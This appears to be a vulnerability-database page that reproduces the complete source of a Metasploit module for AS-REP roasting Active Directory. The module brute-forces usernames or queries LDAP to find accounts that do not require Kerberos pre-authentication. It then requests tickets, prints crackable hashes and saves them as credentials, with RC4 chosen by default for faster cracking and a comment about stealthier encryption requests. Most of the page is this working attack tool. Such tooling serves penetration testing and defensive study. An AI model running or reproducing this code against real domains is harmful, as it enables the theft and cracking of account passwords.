Lucene search
K

Find Users Without Pre-Auth Required (ASREP-roast)

🗓️ 12 Dec 2023 19:52:23Reported by smasheryType 
metasploit
 metasploit
🔗 www.rapid7.com👁 208 Views

Find Users Without Pre-Auth Required (ASREP-roast). This module searches for AD users without pre-auth required using brute force and LDAP lookup approaches

Code
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary
  include Msf::Exploit::Remote::Kerberos::Client
  include Msf::Exploit::Remote::LDAP
  include Msf::Exploit::Remote::LDAP::Queries
  include Msf::OptionalSession::LDAP

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Find Users Without Pre-Auth Required (ASREP-roast)',
        'Description' => %q{
          This module searches for AD users without pre-auth required. Two different approaches
          are provided:
          - Brute force of usernames (does not require a user account; should not lock out accounts)
          - LDAP lookup (requires an AD user account)
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'smashery', # MSF Module
        ],
        'References' => [
          ['URL', 'https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/as-rep-roasting-using-rubeus-and-hashcat']
        ],
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'SideEffects' => [IOC_IN_LOGS],
          'Reliability' => [],
          'AKA' => ['preauth', 'asreproast']
        },
        'Actions' => [
          ['BRUTE_FORCE', { 'Description' => 'Brute force to find susceptible user accounts' } ],
          ['LDAP', { 'Description' => 'Ask a domain controller directly for the susceptible user accounts' } ],
        ],
        'DefaultAction' => 'BRUTE_FORCE'
      )
    )

    register_options(
      [
        OptPath.new('USER_FILE', [ false, 'File containing usernames, one per line' ], conditions: %w[ACTION == BRUTE_FORCE]),
        OptBool.new('USE_RC4_HMAC', [ true, 'Request using RC4 hash instead of default encryption types (faster to crack)', true]),
        OptString.new('Rhostname', [ false, "The domain controller's hostname"], aliases: ['LDAP::Rhostname']),
      ]
    )
    register_advanced_options(
      [
        OptEnum.new('LDAP::Auth', [true, 'The Authentication mechanism to use', Msf::Exploit::Remote::AuthOption::NTLM, Msf::Exploit::Remote::AuthOption::LDAP_OPTIONS]),
      ]
    )
  end

  def run
    case action.name
    when 'BRUTE_FORCE'
      run_brute
    when 'LDAP'
      run_ldap
    end
  rescue Errno::ECONNRESET
    fail_with(Failure::Disconnected, 'The connection was reset.')
  rescue Rex::ConnectionError => e
    fail_with(Failure::Unreachable, e.message)
  rescue Rex::Proto::Kerberos::Model::Error::KerberosError => e
    fail_with(Failure::NoAccess, e.message)
  rescue Net::LDAP::Error => e
    fail_with(Failure::Unknown, "#{e.class}: #{e.message}")
  end

  def run_brute
    result_count = 0
    user_file = datastore['USER_FILE']
    username = datastore['LDAPUsername']
    if user_file.blank? && username.blank?
      fail_with(Msf::Module::Failure::BadConfig, 'User file or username must be specified when brute forcing.')
    end
    verify_option('LDAPDomain')
    if username.present?
      begin
        roast(username)
        result_count += 1
      rescue ::Rex::Proto::Kerberos::Model::Error::KerberosError => e
        # User either not present, or requires preauth
        vprint_status("User: #{username} - #{e}")
      end
    end
    if user_file.present?
      File.open(user_file, 'rb') do |file|
        file.each_line(chomp: true) do |user_from_file|
          roast(user_from_file)
          result_count += 1
        rescue ::Rex::Proto::Kerberos::Model::Error::KerberosError => e
          # User either not present, or requires preauth
          vprint_status("User: #{user_from_file} - #{e}")
        end
      end
    end

    if result_count == 0
      print_error('No users found without preauth required')
    else
      print_line
      print_status("Query returned #{result_count} #{'result'.pluralize(result_count)}.")
    end
  end

  def verify_option(opt)
    value = datastore[opt]
    if session.nil? && value.blank?
      fail_with(Msf::Module::Failure::BadConfig, "You must set the '#{opt}' option when running the module without a pre-existing LDAP session.")
    end
  end

  def run_ldap
    verify_option('LDAPDomain')

    run_builtin_ldap_query('ENUM_USER_ASREP_ROASTABLE') do |result|
      username = result.samaccountname[0]
      begin
        roast(username)
      rescue ::Rex::Proto::Kerberos::Model::Error::KerberosError => e
        msg = session ? "Session #{session.sid} received an error: #{e}" : "#{username} reported as ASREP-roastable, but received error when attempting to retrieve TGT (#{e})"
        print_error(msg)
      end
    end
  end

  def roast(username)
    server_name = "krbtgt/#{datastore['domain']}"
    client_name = username
    realm = session ? session.client.realm : datastore['LDAPDomain']
    rhost = session ? session.client.peerhost : datastore['RHOST']

    res = send_request_tgt(
      server_name: server_name,
      client_name: client_name,
      realm: realm,
      offered_etypes: etypes,
      rport: 88,
      rhost: rhost
    )

    hash = format_as_rep_to_john_hash(res.as_rep)
    print_line(hash)
    jtr_format = Metasploit::Framework::Hashes.identify_hash(hash)
    report_hash(hash, jtr_format, rhost, 88)
  end

  def report_hash(hash, jtr_format, address, port)
    service_data = {
      address: address,
      port: port,
      service_name: 'Kerberos',
      protocol: 'tcp',
      workspace_id: myworkspace_id
    }
    credential_data = {
      module_fullname: fullname,
      origin_type: :service,
      private_data: hash,
      private_type: :nonreplayable_hash,
      jtr_format: jtr_format
    }.merge(service_data)

    credential_core = create_credential(credential_data)

    login_data = {
      core: credential_core,
      status: Metasploit::Model::Login::Status::UNTRIED
    }.merge(service_data)

    create_credential_login(login_data)
  end

  def etypes
    if datastore['USE_RC4_HMAC']
      [Rex::Proto::Kerberos::Crypto::Encryption::RC4_HMAC]
    else
      # We could just ask for AES256, but we have an opportunity to be stealthier by asking for a normal set of etypes,
      # and expecting to receive AES256. This assumption may be broken in the future if additional encryption types are added
      Rex::Proto::Kerberos::Crypto::Encryption::DefaultOfferedEtypes
    end
  end

  attr_accessor :ldap_query # The LDAP query for this module, loaded from a yaml file

end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation